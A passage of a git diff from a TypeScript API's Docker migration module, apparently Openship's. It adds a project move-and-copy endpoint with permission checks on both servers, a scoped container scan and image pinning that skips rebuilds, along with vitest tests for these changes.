expect(carryCode).not.toContain("sslStatus"); + }); + + it("survives a project whose domains can't be read", () => { + expect(carry).toContain("listByProject(projectId).catch(() => [])"); + }); +}); + +describe("the run passes the project only for a project move", () => { + it("hands projectId in for a move/copy and undefined for a scan adopt", () => { + // Door A adopts a stranger's containers into a NEW project that owns no domains yet, so + // passing its id would add nothing and imply a relationship that doesn't exist. + const call = src.slice(src.indexOf("await this.carrySourceCerts(")); + expect(call.slice(0, 700)).toContain("input.projectMove ? projectId : undefined"); + }); + + it("still only carries cross-server", () => { + // Same-server has nothing to move: it is the same certbot directory. + expect(src).toContain("if (!sameServer) {"); + }); + + it("never fails the migration on a carry error", () => { + const call = src.slice(src.indexOf("await this.carrySourceCerts(")); + expect(call.slice(0, 700)).toContain("cert carry skipped"); + }); +}); diff --git a/apps/api/src/modules/migration/docker-inspect.service.ts b/apps/api/src/modules/migration/docker-inspect.service.ts index c5d4976eb..f50e6f130 100644 --- a/apps/api/src/modules/migration/docker-inspect.service.ts +++ b/apps/api/src/modules/migration/docker-inspect.service.ts @@ -133,10 +133,34 @@ export async function discoverServerStack( * deploy containers are adopted as PLAIN compose/standalone (no re-import, * no snapshot restore). The one filter (`isOpenshipOwned`) is bypassed. */ flatDocker?: boolean; + /** + * PRE-SET SELECTION: consider only these container ids. + * + * The scan exists to answer "what is on this box?", which is the right question when the + * operator is about to choose from a grid. A project move already knows its answer — the + * `openship.project` label names its containers exactly — so scanning the whole host to + * throw most of it away is work the operator waits through ("Inspecting 20 container(s)…" + * to keep 5), and on a busy box most of the elapsed time. + * + * Narrowing here rather than in the caller is what makes it cheap: it lands before the + * inspect fan-out, so the compose-file reads and the per-image env/CMD lookups are scoped + * for free, and the derivation of each `DiscoveredService` stays the SAME code the scan + * flow uses — a project move must not get its own dialect of "what is this container". + * + * NOT an authorisation boundary. It is a performance scope; the caller still filters by + * label afterwards (see `planProjectMove`), because a scan option must never be the thing + * that decides which containers are ours. + */ + onlyContainerIds?: string[]; }, ): Promise { const step = (m: string) => onProgress?.(m); const flatDocker = opts?.flatDocker === true; + // `undefined` = unscoped (scan the box). `[]` = an EMPTY scope, and therefore no candidates — + // not "everything", which is the tempting `length > 0` reading and would turn a caller's + // "these zero containers" into a full-host scan. + const only = opts?.onlyContainerIds; + const scoped = Array.isArray(only) ? new Set(only.filter(Boolean)) : null; step("Connecting to Docker…"); const rt = await createServerDockerRuntime(serverId, organizationId); try { @@ -169,12 +193,21 @@ export async function discoverServerStack( return await withTimeout( (async (): Promise => { step("Listing containers, volumes and networks…"); - const [containers, volumes, networks] = await Promise.all([ + const [allContainers, volumes, networks] = await Promise.all([ rt.listAllContainers(), rt.listAllVolumes(), rt.listAllNetworks(), ]); + // Narrow to the pre-set selection BEFORE anything expensive. Everything downstream — + // the ownership split, the inspect fan-out, the compose reads, the image lookups — is + // driven off this list, so one filter here scopes the whole scan. The volume and + // network lists stay whole: reconciliation matches mounts against them by name, and a + // filtered volume list would make a moved volume look like it does not exist. + const containers = scoped + ? allContainers.filter((c) => scoped.has(c.id)) + : allContainers; + // OPENSHIP'S OWN STACK IS NEVER A CANDIDATE — structurally, not because the // database happens to remember it. // @@ -217,7 +250,14 @@ export async function discoverServerStack( (c) => c.labels["openship.project"] && !isBuildHelper(c.labels), ); - step(`Inspecting ${candidates.length} container(s)…`); + // Say WHICH containers, not just how many. A pre-set selection reporting a bare + // "Inspecting 5 container(s)…" on a 20-container box reads like the scan missed + // fifteen; naming the scope is the difference between a narrowed scan and a broken one. + step( + scoped + ? `Inspecting ${candidates.length} of ${allContainers.length} container(s) (this project's)…` + : `Inspecting ${candidates.length} container(s)…`, + ); const [details, managedDetails] = await Promise.all([ mapLimit(candidates, 5, (c) => rt.inspectContainer(c.id)).then((d) => d.filter((x): x is DockerContainerDetail => x !== null), @@ -289,19 +329,30 @@ export async function discoverServerStack( // unbounded. Drop THIS org's entries that are neither a live DB project nor // backed by a running container — i.e. true orphans. A running container's // id is kept so a soft-deleted (record-only) workload stays re-importable. - try { - const liveDb = await repos.project.listByOrganization(organizationId, { - page: 1, - perPage: 1000, - }); - const liveProjectIds = new Set([...liveDb.rows.map((p) => p.id), ...projectIds]); - await sshManager - .withExecutor(serverId, (exec) => - pruneOrphanManifestArtifacts(exec, { organizationId, liveProjectIds }), - ) - .catch(() => {}); - } catch { - /* best-effort — never fail discovery on a prune hiccup */ + // + // Housekeeping for the RECOVERY path below, so it is skipped when that path cannot + // run: a pre-set selection has nothing to recover (it already knows its project), and + // this costs a 1000-row project read plus its own SSH session. Pruning a whole box's + // manifest from a scan that deliberately looked at five containers would also be + // deciding "orphan" from an incomplete picture. + if (!scoped) { + try { + const liveDb = await repos.project.listByOrganization(organizationId, { + page: 1, + perPage: 1000, + }); + const liveProjectIds = new Set([ + ...liveDb.rows.map((p) => p.id), + ...projectIds, + ]); + await sshManager + .withExecutor(serverId, (exec) => + pruneOrphanManifestArtifacts(exec, { organizationId, liveProjectIds }), + ) + .catch(() => {}); + } catch { + /* best-effort — never fail discovery on a prune hiccup */ + } } if (projectIds.length > 0) { diff --git a/apps/api/src/modules/migration/excluded-managed.test.ts b/apps/api/src/modules/migration/excluded-managed.test.ts index d7b185159..18c11a0f4 100644 --- a/apps/api/src/modules/migration/excluded-managed.test.ts +++ b/apps/api/src/modules/migration/excluded-managed.test.ts @@ -143,3 +143,40 @@ describe("excludeAlreadyManaged — rows that must not block anything", () => { expect(findByContainerIds).not.toHaveBeenCalled(); }); }); + +/** + * The gate has NO exemption, and that is the invariant. + * + * It briefly took a `duplicatingToAnotherHost` flag that suppressed the re-import refusal, so + * that duplicating a project could push its own containers through here. A duplicate now copies + * the project's RECORDS instead (`cloneProjectToServer`) and never reaches this function, so the + * flag is gone and the rule is unconditional again. + * + * Worth pinning because the flag was reasonable and would be reasonable to re-add: a gate whose + * refusal a caller can switch off is one you must read every caller to trust. If a future flow + * genuinely needs it, deleting these assertions should be the deliberate first step. + */ +describe("excludeAlreadyManaged takes no exemption", () => { + it("refuses a managed container with no way to ask it not to", async () => { + findByContainerIds.mockResolvedValue([row("c-web", "dep_user")]); + await expect(excludeAlreadyManaged(USER_STACK, ORG)).rejects.toThrow(/already managed here/); + }); + + it("accepts exactly two arguments, so there is no options bag to smuggle one in", () => { + expect(excludeAlreadyManaged.length).toBe(2); + }); + + it("still drops Openship's own containers rather than refusing over them", async () => { + // Unchanged by the above: the control-plane rule was never the flag's business. + findByContainerIds.mockResolvedValue([row("c-openship-pg", "dep_openship")]); + const kept = await excludeAlreadyManaged(WITH_OURS, ORG); + expect(kept.map((s) => s.containerId)).toEqual(["c-web", "c-dependabot-pg"]); + }); + + it("refuses when ONLY our own containers matched", async () => { + findByContainerIds.mockResolvedValue([row("c-openship-pg", "dep_openship")]); + await expect( + excludeAlreadyManaged([svc("postgres", "c-openship-pg")], ORG), + ).rejects.toThrow(/Openship's own containers/); + }); +}); diff --git a/apps/api/src/modules/migration/handover-single-app.test.ts b/apps/api/src/modules/migration/handover-single-app.test.ts new file mode 100644 index 000000000..fc682370a --- /dev/null +++ b/apps/api/src/modules/migration/handover-single-app.test.ts @@ -0,0 +1,78 @@ +import { describe, expect, it } from "vitest"; +import { readFileSync } from "node:fs"; + +/** + * A moved app must RUN the image the migration just streamed, not rebuild it. + * + * The transfer does the expensive part correctly — `docker save | docker load`, tagged on the + * target, no registry. Then the deploy cloned the repo and ran a full `docker build` anyway, + * producing a second copy of the same thing. For a 725 MB single app that is minutes of wasted + * work whose only visible symptom is a migration that looks stuck on its last step. + * + * The cause is two fields for two shapes: + * - `handoverImages` — COMPOSE. `pinnedServiceImage` looks a service NAME up in it. + * - `handoverAppImage` — SINGLE APP. `pinnedAppImage` reads it, and `snapshotNeedsGitSource` + * keys off the same value, which is what suppresses the clone. + * The migration set only the first, so every single-app move rebuilt from git. + */ +const orch = readFileSync(new URL("./migration.orchestrator.ts", import.meta.url), "utf8"); +const request = (() => { + const from = orch.indexOf("const dep = await requestBuildAccess(ctx, {"); + return orch.slice(from, orch.indexOf("});", from)); +})(); + +describe("the migration's target deploy", () => { + it("passes the compose handover map", () => { + expect(request).toContain("handoverImages: adopt.handover"); + }); + + it("ALSO pins the single-app image when the workload is one service", () => { + expect(request).toContain("handoverAppImage: Object.values(adopt.handover)[0]"); + }); + + it("pins it only for a single service, so compose keeps using the map", () => { + // Handing a compose project an app-level image would pin the whole release to one service's + // image — the opposite failure, and a silent one. + expect(request).toContain("Object.keys(adopt.handover).length === 1"); + }); +}); + +describe("the fields the pin has to satisfy", () => { + const pinned = readFileSync( + new URL("../deployments/pinned-artifacts.ts", import.meta.url), + "utf8", + ); + + it("pinnedAppImage reads handoverAppImage, not the map", () => { + expect(pinned).toContain("nonEmpty(snapshot?.handoverAppImage)"); + }); + + it("a pinned app image is what suppresses the git clone", () => { + // This is the line that turns the rebuild off; without the scalar it stays true and the + // target clones and builds. + expect(pinned).toContain("!pinnedAppImage(snapshot)"); + }); +}); + +/** + * The pin has to suppress the CLONE, not just the build step — the clone is where the minutes go + * (`npm i` + `next build` on the target, for an image that had just finished streaming across). + */ +describe("no git source is fetched when the image is pinned", () => { + const pinned = readFileSync( + new URL("../deployments/pinned-artifacts.ts", import.meta.url), + "utf8", + ); + const pipeline = readFileSync( + new URL("../deployments/build-pipeline.ts", import.meta.url), + "utf8", + ); + + it("the clone decision reads the pin", () => { + expect(pinned).toContain("classNeedsGitSource(snapshotToClass(snapshot)) && !pinnedAppImage(snapshot)"); + }); + + it("and the pipeline asks that one resolver rather than deciding again", () => { + expect(pipeline).toContain("snapshotNeedsGitSource(snapshot, servicePreflightServices)"); + }); +}); diff --git a/apps/api/src/modules/migration/managed-containers.ts b/apps/api/src/modules/migration/managed-containers.ts index 9e00b990c..e18dc7387 100644 --- a/apps/api/src/modules/migration/managed-containers.ts +++ b/apps/api/src/modules/migration/managed-containers.ts @@ -104,6 +104,12 @@ export async function classifyManagedContainers( * `scannedContainerIds`, and moveData's first act is `rtA.stop(cid)` on every id in * it. Skipping it there would stop Openship's own database to copy its volume. */ +// NO opt-out parameter. This briefly took a `duplicatingToAnotherHost` flag, because duplicating +// a project ran its own containers through this gate and needed the refusal suppressed. A +// duplicate now COPIES the project's records instead of re-adopting its containers +// (`cloneProjectToServer`), so it never reaches here — and the gate is back to meaning one +// thing: containers this instance already manages are never adopted again, full stop. A gate +// with a caller-supplied exemption is a gate you have to read every caller to trust. export async function excludeAlreadyManaged( chosen: DiscoveredService[], organizationId: string, diff --git a/apps/api/src/modules/migration/migration.controller.ts b/apps/api/src/modules/migration/migration.controller.ts index d79aee897..343835225 100644 --- a/apps/api/src/modules/migration/migration.controller.ts +++ b/apps/api/src/modules/migration/migration.controller.ts @@ -13,7 +13,7 @@ import { safeErrorMessage } from "@repo/core"; import { getRequestContext } from "../../lib/request-context"; import { permission } from "../../lib/permission"; import { parseRevealKeys, pickRevealed } from "../../lib/env-reveal"; -import { isServerInOrg, param } from "../../lib/controller-helpers"; +import { isControlPlaneProject, isServerInOrg, param } from "../../lib/controller-helpers"; import { streamRunSSE } from "../../lib/run-sse"; import { streamSSE } from "../../lib/sse"; import { @@ -23,6 +23,11 @@ import { type DiscoveredService, } from "./docker-inspect.service"; import { adoptServerStack, reimportOpenshipProject, parseRepoCompose } from "./migrate.service"; +import { + assertProjectMovable, + ProjectMoveRefused, + type ProjectMoveIntent, +} from "./project-move"; import { maskEnv, maskServicesEnv } from "../../lib/secret-env"; import { buildMigrationPreview } from "./migration-preflight"; import { migrationOrchestrator } from "./migration.orchestrator"; @@ -449,6 +454,174 @@ export async function startMigration(c: Context) { } } +/** Service-name scope for a project copy: real non-empty strings, trimmed, bounded. + * Shared by preview and start so the plan and the run can't resolve different sets. */ +function sanitizeServiceScope(raw: unknown): string[] | undefined { + if (!Array.isArray(raw)) return undefined; + const out = raw + .filter((n): n is string => typeof n === "string" && n.trim().length > 0) + .map((n) => n.trim()) + .slice(0, 100); + return out.length > 0 ? out : undefined; +} + +/** + * Resolve + authorize a project move: the project must be writable, and BOTH the server it + * runs on and the one it is going to must be writable too. + * + * The project permission is not implied by the server ones and the server ones are not + * implied by the project: moving a project mutates a workload on two machines. Missing + * either check would let "can edit this project" alone start a run that stops containers on + * a server the caller has no write access to. + */ +async function assertProjectMoveAllowed( + c: Context, + projectId: string, + targetServerId: string, +): Promise< + | { + organizationId: string; + project: { + id: string; + name: string; + slug: string; + serverId: string; + cloudWorkspaceId: string | null; + isControlPlane: boolean; + }; + } + | Response +> { + const ctx = getRequestContext(c); + await permission.assert(ctx, { resourceType: "project", resourceId: projectId, action: "write" }); + const project = await repos.project.findByIdInOrganization(projectId, ctx.organizationId); + if (!project) return c.json({ error: "Project not found" }, 404); + if (!project.serverId) { + return c.json( + { error: `"${project.name}" isn't bound to a server, so there's no source host to move it from.` }, + 400, + ); + } + const guard = await assertServersWritable(c, project.serverId, targetServerId); + if (guard instanceof Response) return guard; + return { + organizationId: guard.organizationId, + project: { + id: project.id, + name: project.name, + slug: project.slug, + serverId: project.serverId, + cloudWorkspaceId: project.cloudWorkspaceId ?? null, + isControlPlane: isControlPlaneProject(project), + }, + }; +} + +/** + * POST /migration/project { projectId, targetServerId, transferMode?, transferCompression?, + * conflictResolution?, customPaths? } + * + * Move a project Openship already owns onto another server. Same pipeline, same run row and + * same `{ migrationId, confirmationToken }` contract as `/migrate`, so the client opens the + * existing run panel by id and confirms the cutover the existing way. + * + * `killOriginals` is deliberately NOT accepted: a project move always parks at + * `awaiting_cutover` (enforced in `begin`), so the operator's live project is never retired + * without an explicit confirmation. + */ +export async function startProjectMove(c: Context) { + const body = await c.req.json<{ + projectId?: string; + targetServerId?: string; + intent?: unknown; + newName?: string; + /** COPY only: duplicate just these services. */ + serviceNames?: unknown; + transferMode?: unknown; + transferCompression?: unknown; + conflictResolution?: Record; + customPaths?: unknown; + }>(); + if (!body.projectId || !body.targetServerId) { + return c.json({ error: "projectId and targetServerId are required" }, 400); + } + // Default to "move": the value an OLD or malformed client sends must be the one that + // matches the endpoint's name, not the one that silently creates a second project. + const intent: ProjectMoveIntent = body.intent === "copy" ? "copy" : "move"; + // Sanitized here, not trusted: names reach a shell-free comparison but they also name + // the adopted rows, so bound the count and drop anything that isn't a real string. + const scopedServices = sanitizeServiceScope(body.serviceNames); + const guard = await assertProjectMoveAllowed(c, body.projectId, body.targetServerId); + if (guard instanceof Response) return guard; + + const ctx = getRequestContext(c); + const prefs = await getTransferPrefs(ctx.userId); + const transferMode = isValidTransferMode(body.transferMode) ? body.transferMode : prefs.transferMode; + const transferCompression = isValidTransferCompression(body.transferCompression) + ? body.transferCompression + : prefs.transferCompression; + + try { + // Only the FREE refusals here (no SSH): a bad request stays a fast 400 and never takes + // the server-wide migration lock. + // + // Resolving the real workload needs an SSH scan of the source, and that deliberately + // does NOT happen in this request. It happens in the run's `adopting` phase, so the + // operator watches it in the migration session — with the reason in the run's own log if + // the host is unreachable — instead of waiting on a frozen button for a toast. That is + // also what makes a failure resumable from the runs list rather than lost. + assertProjectMovable({ + project: { + id: guard.project.id, + name: guard.project.name, + slug: guard.project.slug, + serverId: guard.project.serverId, + cloudWorkspaceId: guard.project.cloudWorkspaceId, + }, + targetServerId: body.targetServerId, + isControlPlane: guard.project.isControlPlane, + intent, + serviceNames: scopedServices, + // So a "same server" refusal can NAME where the project actually is. Read here rather + // than inside the pure assert, which takes already-fetched data by design. + sourceServerName: guard.project.serverId + ? ((await repos.server + .getInOrganization(guard.project.serverId, guard.organizationId) + .catch(() => null))?.name ?? null) + : null, + }); + + const result = await migrationOrchestrator.begin(ctx, { + organizationId: guard.organizationId, + sourceServerId: guard.project.serverId, + targetServerId: body.targetServerId, + projectMove: { projectId: guard.project.id, intent, serviceNames: scopedServices }, + // The project defines its own set; these exist for the run row's display and are + // re-derived from live containers inside the pipeline. + serviceNames: [], + // A COPY names a NEW project, so it must not reuse the original's name — two + // projects called "clincai" is the confusion the copy was supposed to avoid. + // `adoptServerStack` de-duplicates whatever it is handed, so an operator-supplied + // name still cannot collide. + projectName: + intent === "copy" + ? body.newName?.trim() || `${guard.project.name}-copy` + : guard.project.name, + killOriginals: false, + transferMode, + transferCompression, + conflictResolution: sanitizeConflictResolution(body.conflictResolution), + customPaths: sanitizeCustomPaths(body.customPaths), + }); + return c.json({ success: true, ...result }); + } catch (err) { + if (err instanceof ProjectMoveRefused) { + return c.json({ error: err.message, code: err.code }, 400); + } + return c.json({ error: `Migration failed to start: ${safeErrorMessage(err)}` }, 502); + } +} + /** GET /migration/migrations/:id — current run row. */ export async function getMigration(c: Context) { const ctx = getRequestContext(c); @@ -486,18 +659,39 @@ function maskMigrationRunEnv(run: T): T { } /** - * GET /migration/runs?serverId=… + * GET /migration/runs?serverId=… | ?projectId=… * - * Recent migration runs touching this server (source or target), newest first - * — the server detail "Migrations" tab lists these like a project's deployments. + * Recent migration runs, newest first — the same list, asked from either side. A SERVER's + * history is every run touching it as source or target; a PROJECT's is every run about it, + * including a duplicate taken FROM it (see `listForProject`). + * + * One endpoint and one row shape, because "migration history" is one thing viewed from two + * entry points. A second endpoint would be a second place for the row projection below — the + * one that keeps the session log and the cutover token out of a 50-row list — to drift. */ export async function getMigrationRuns(c: Context) { const ctx = getRequestContext(c); const serverId = c.req.query("serverId"); - if (!serverId) return c.json({ error: "serverId is required" }, 400); - const runs = await repos.dockerMigrationRun.listForServer(ctx.organizationId, serverId, { - limit: 50, - }); + const projectId = c.req.query("projectId"); + if (!serverId && !projectId) { + return c.json({ error: "serverId or projectId is required" }, 400); + } + + let runs; + if (projectId) { + // Org-scope through the PROJECT first, so an id from another org resolves to nothing + // before it reaches the run query — the same guard shape the per-server branch gets from + // passing organizationId into the repo. + const project = await repos.project.findByIdInOrganization(projectId, ctx.organizationId); + if (!project) return c.json({ error: "Project not found" }, 404); + runs = await repos.dockerMigrationRun.listForProject(ctx.organizationId, projectId, { + limit: 50, + }); + } else { + runs = await repos.dockerMigrationRun.listForServer(ctx.organizationId, serverId!, { + limit: 50, + }); + } // Summary rows only: the 256 KiB session log, the input snapshot, and the // cutover token belong to the per-run detail fetch, not a 50-row list. const lite = runs.map( @@ -634,11 +828,22 @@ export async function deleteMigration(c: Context) { * client that reloaded mid-migration can re-attach and resume polling. Returns * the run + its confirmationToken (needed for the cutover step, never persisted * client-side), or null. + * + * SERVER only, deliberately. This briefly took a `?projectId=` too, so a project's migration + * panel could re-find its session on mount — but a run is part of the PROJECT's state, and a + * panel that has to ask for it knows about it only while it happens to be mounted. The project + * payload carries it now (`readActiveMigration` in the projects module), which is the same + * field the status pills read, so there is one answer and every surface sees it. Note the + * gates differ: this route is `server:write` and returns the confirmation token; the project + * payload is `project:read` and returns id/status/mode only. */ export async function getActiveMigration(c: Context) { const ctx = getRequestContext(c); const serverId = c.req.query("serverId"); - if (!serverId) return c.json({ error: "serverId is required" }, 400); + if (!serverId) { + return c.json({ error: "serverId is required" }, 400); + } + const runs = await repos.dockerMigrationRun.findActiveForServer(serverId); // Org-scope: a run for a server outside this org won't match (IDOR guard). const run = runs.find((r) => r.organizationId === ctx.organizationId) ?? null; diff --git a/apps/api/src/modules/migration/migration.orchestrator.test.ts b/apps/api/src/modules/migration/migration.orchestrator.test.ts index 0419f45ea..7b82ba3c5 100644 --- a/apps/api/src/modules/migration/migration.orchestrator.test.ts +++ b/apps/api/src/modules/migration/migration.orchestrator.test.ts @@ -2,6 +2,7 @@ import { describe, it, expect } from "vitest"; import { resolveScannedContainerId, planResumeTransfer, + describeCutoverRemainder, type PendingItem, } from "./migration.orchestrator"; @@ -112,3 +113,54 @@ describe("planResumeTransfer", () => { }); }); }); + +/** + * Cutover is NOT atomic and cannot be — there is no transaction across two Docker daemons, + * and by then the target is already serving. What it must be is honest, which is what this + * pins: the bug it replaces caught every destroy error and dropped it, then reported + * `succeeded`, so a container still standing on the old server (holding its ports, or + * brought back by a restart policy) was invisible. + */ +describe("describeCutoverRemainder", () => { + const c = (name: string, id: string, reason = "device or resource busy") => ({ + name, + containerId: id, + reason, + }); + + it("returns null when everything was removed", () => { + // The caller logs a plain success off this — never "0 containers could not be removed". + expect(describeCutoverRemainder([])).toBeNull(); + }); + + it("names every container that survived, and why", () => { + // "Some containers could not be removed" would leave the operator hunting on a host they + // were just told to stop thinking about. + const msg = describeCutoverRemainder([c("web", "abcdef1234567890"), c("api", "0123456789abcdef")]); + expect(msg).toContain("web (abcdef123456"); + expect(msg).toContain("api (0123456789ab"); + expect(msg).toContain("device or resource busy"); + }); + + it("counts them and says what to do", () => { + const msg = describeCutoverRemainder([c("web", "abcdef1234567890")]); + expect(msg).toContain("1 source container(s)"); + expect(msg).toMatch(/by hand on the old server/); + }); + + it("shortens the container id to the docker-style prefix", () => { + // A full 64-hex id in a log line buries the reason after it. + const msg = describeCutoverRemainder([c("web", "a".repeat(64))])!; + expect(msg).toContain("a".repeat(12)); + expect(msg).not.toContain("a".repeat(13)); + }); + + it("carries each container's OWN reason rather than one summary", () => { + const msg = describeCutoverRemainder([ + c("web", "aaaaaaaaaaaa1111", "in use by network"), + c("db", "bbbbbbbbbbbb2222", "permission denied"), + ])!; + expect(msg).toContain("in use by network"); + expect(msg).toContain("permission denied"); + }); +}); diff --git a/apps/api/src/modules/migration/migration.orchestrator.ts b/apps/api/src/modules/migration/migration.orchestrator.ts index 4eb31f4e2..6deae837e 100644 --- a/apps/api/src/modules/migration/migration.orchestrator.ts +++ b/apps/api/src/modules/migration/migration.orchestrator.ts @@ -45,6 +45,7 @@ import type { RequestContext } from "../../lib/request-context"; import { createServerDockerRuntime, createServerCommandExecutor, + withDeploymentPlatform, } from "../../lib/deployment-runtime"; import { establishDirectLink, PathMissingError, statPath, sq } from "./direct-transfer"; import type { MigrationRouteSpec } from "./migration-input"; @@ -65,6 +66,11 @@ import { joinReusedContainersToGroup, parseRepoCompose, } from "./migrate.service"; +import type { AdoptResult, RepoComposeService } from "./migrate.service"; +import type { DiscoveredService } from "./docker-reconcile"; +import { loadProjectMoveWorkload, type ProjectMoveIntent } from "./project-move"; +import { cloneProjectToServer } from "../projects/project-clone.service"; +import { applyRelocationEffects, projectRelocationEffects } from "./relocation-effects"; import { excludeAlreadyManaged } from "./managed-containers"; import { perService, selectDiscoveredServices } from "./select-services"; import { isMovableBind } from "./migration-preflight"; @@ -133,6 +139,38 @@ export interface StartMigrationInput { /** Adopt in flat-docker mode — MUST match the scan the user selected from, or * openship-labeled containers get treated as managed and "none are found". */ flatDocker?: boolean; + /** Present ⇒ this is a PROJECT MOVE or DUPLICATE (door B), not a scan-and-adopt: the + * subject is a project this instance already owns. The workload comes from that + * project's own live containers; `serviceNames` / `serviceContainerIds` are ignored + * because the project defines its own set. See {@link ProjectMoveIntent}. */ + projectMove?: { + projectId: string; + intent: ProjectMoveIntent; + /** COPY only: duplicate just these services rather than the whole project. A scoped + * MOVE is refused — a project is bound to one server, so its services cannot be split + * across two. */ + serviceNames?: string[]; + }; +} + +/** + * What a door hands the pipeline: the services to move, split into the sets the run + * treats differently, plus the project they belong to. + * + * Deliberately the shape `run()` already derived inline, so neither door is privileged and + * a third (Cloud, later) has one contract to satisfy. + */ +interface ResolvedWorkload { + /** Every selected service. */ + chosen: DiscoveredService[]; + /** Taken over live, in place — never stopped, copied or cut over. Same-server only. */ + attachChosen: DiscoveredService[]; + /** Quiesced, copied, deployed on the target, then retired at cutover. */ + deployChosen: DiscoveredService[]; + /** The project these land in — created by door A, pre-existing for door B. */ + adopt: AdoptResult; + /** Linked repo's compose services, when one was mapped (door A only). */ + repoServices?: Map; } /** Re-key a DISCOVERED-name-keyed map onto the adopted ROW names via a @@ -148,6 +186,35 @@ function remapKeys( return out; } +/** One source container the cutover could not remove. */ +export interface LeftBehindContainer { + name: string; + containerId: string; + reason: string; +} + +/** + * The line that tells an operator the old server is NOT clean — or `null` when it is. + * + * Its own function because both cutover paths (the unattended `killOriginals` one and the + * operator-confirmed one) have to say the same thing, and because the empty case is the one + * that matters: it must return null rather than an awkward "0 containers could not be + * removed", so the caller can log a plain success. + * + * Names every container and its reason. "Some containers could not be removed" would leave + * the operator to find them by hand on a host they were just told to stop thinking about. + */ +export function describeCutoverRemainder(failed: LeftBehindContainer[]): string | null { + if (failed.length === 0) return null; + const which = failed + .map((f) => `${f.name} (${f.containerId.slice(0, 12)}: ${f.reason})`) + .join("; "); + return ( + `${failed.length} source container(s) could not be removed — remove them by hand on the ` + + `old server: ${which}` + ); +} + /** A built image to move: probed/saved by `id` (reliable), re-tagged to `tag` * on the target so the adopted service's deploy imageRef resolves. */ interface BuiltImage { @@ -364,18 +431,32 @@ class MigrationOrchestratorImpl { } const confirmationToken = crypto.randomBytes(8).toString("hex"); - const mode = - input.sourceServerId === input.targetServerId ? "same_server" : "cross_server"; + const mode = input.projectMove + ? input.projectMove.intent === "copy" + ? "project_copy" + : "project_move" + : input.sourceServerId === input.targetServerId + ? "same_server" + : "cross_server"; const run = await repos.dockerMigrationRun.create({ id: `dmr_${crypto.randomUUID()}`, organizationId: input.organizationId, sourceServerId: input.sourceServerId, targetServerId: input.targetServerId, + // Bound from the start, not at adopt: this run's whole subject is an existing + // project, and the runs list / detail panel should say which one even if the + // pipeline fails in its first second. + ...(input.projectMove ? { projectId: input.projectMove.projectId } : null), projectName: input.projectName, serviceNames: input.serviceNames, status: "queued", mode, - killOriginals: input.killOriginals, + // A project move NEVER auto-retires the source. The operator's live project is + // running there; the run parks at `awaiting_cutover` with the source stopped but + // intact so a bad target can still be rolled back to it. Forced here rather than + // trusted from the request, so no caller can opt a project into an unattended + // destructive finish. + killOriginals: input.projectMove ? false : input.killOriginals, confirmationToken, // Snapshot the start input so a `partial` run can be resumed and a // `failed` run re-opened pre-filled (edit & retry). @@ -413,6 +494,189 @@ class MigrationOrchestratorImpl { } } + /** + * Door B — move a project this instance already owns. + * + * Adopts nothing: the project, its rows, its domains and its slug all exist, so the + * "adopt" result {@link planProjectMove} returns simply DESCRIBES them. Three of its + * fields are load-bearing and explained there: `created: false` (or rollback deletes the + * operator's project), identity `renames`, and a `handover` covering every service (our + * image tags exist on the source host and in no registry). + * + * No attach set. Attach-in-place is a same-server optimisation — it takes over a + * container that is already on the target host — and a project move is cross-server by + * definition (`same_server` is refused up front). So every service deploys, which is + * also what makes the volume transfer the meaningful part of the run. + */ + private async resolveOwnedProjectWorkload( + input: StartMigrationInput, + log: (message: string) => void, + ): Promise { + const move = input.projectMove; + if (!move) throw new Error("resolveOwnedProjectWorkload called without projectMove"); + const copying = move.intent === "copy"; + log( + copying + ? `duplicating project "${input.projectName}" onto the target server` + : `moving project "${input.projectName}" to the target server`, + ); + const workload = await loadProjectMoveWorkload( + { + organizationId: input.organizationId, + projectId: move.projectId, + targetServerId: input.targetServerId, + intent: move.intent, + serviceNames: move.serviceNames, + }, + log, + ); + log( + `${workload.chosen.length} live service(s): ${workload.chosen.map((s) => s.name).join(", ")}`, + ); + + // A DUPLICATE creates a second project — by COPYING this one's records, not by + // reverse-engineering a new project out of Docker. + // + // It used to call `adoptServerStack`, the same call the scan flow makes for a stranger's + // containers. That worked, and it quietly produced a worse project: an adopt can only see + // what a container shows, so the copy lost its framework and build settings, its declared + // volumes, its per-service kind, its route strategy, its resource limits and its compose + // drift baselines. It also re-scanned the whole source server a second time, having just + // been handed the exact workload. We own the source rows; copying them is both cheaper and + // faithful. See `cloneProjectToServer` for the one field that still comes from the runtime + // (volume names — the transfer does not remap them) and why. + // + // `created: true` comes back from it, which is exactly right: on any failure the + // rollback tears down the project THIS run made and leaves the original alone. + if (copying) { + const adopt = await cloneProjectToServer({ + sourceProjectId: move.projectId, + organizationId: input.organizationId, + targetServerId: input.targetServerId, + chosen: workload.chosen, + name: input.projectName, + }); + log(`created project "${adopt.project.name}" (${adopt.slug}) as a copy of this one`); + return { + chosen: workload.chosen, + attachChosen: [], + deployChosen: workload.chosen, + adopt, + repoServices: undefined, + }; + } + + return { + chosen: workload.chosen, + attachChosen: [], + deployChosen: workload.chosen, + adopt: workload.adopt, + // No repo compose step: the rows already describe how each service is built, and a + // move must not silently re-point them at a repo's current compose file. + repoServices: undefined, + }; + } + + /** + * Door A — adopt what a SCAN of the source server found. + * + * Unchanged behaviour, moved verbatim out of `run()` so a second door can reach the + * same pipeline (see {@link resolveOwnedProjectWorkload}). Everything specific to + * adopting a stranger's containers lives here: the identity-first selection, the + * reverse-proxy exclusion, the already-managed gate, and `adoptServerStack` itself. + */ + private async resolveScannedWorkload( + ctx: RequestContext, + input: StartMigrationInput, + log: (message: string) => void, + ): Promise { + const { organizationId, sourceServerId, serviceNames } = input; + const sameServer = sourceServerId === input.targetServerId; + log(`${sameServer ? "same-server" : "cross-server"} migration of ${serviceNames.length} service(s): ${serviceNames.join(", ")}`); + const stack = await discoverServerStack(sourceServerId, organizationId, undefined, { + flatDocker: input.flatDocker, + }); + // Identity-first (see select-services): a bare name is only unique within its + // compose project, so a name match over the whole server also selected the + // control plane's own same-named containers (#584). + const selected = selectDiscoveredServices(stack.services, { + containerIds: input.serviceContainerIds, + names: serviceNames, + }); + if (selected.length === 0) { + throw new Error("None of the selected services were found on the server."); + } + // Never adopt the edge proxy (traefik/nginx/… on 80/443) — Openship's + // OpenResty replaces it. Drop it from the workload set and leave it + // UNTOUCHED (absent from scannedContainerIds, so moveData won't stop it): + // we never blind-stop the user's proxy. It's reclaimed later — with + // consent — when the user adds a domain to a migrated service and the + // routed deploy's edge-takeover modal offers to take over 80/443. + let chosen = selected.filter((s) => !s.proxyKind); + if (chosen.length === 0) { + throw new Error( + "Only a reverse proxy was selected. Openship installs its own edge on 80/443 — pick the app services to migrate instead.", + ); + } + // The SAME gate adoptServerStack applies, applied HERE too — 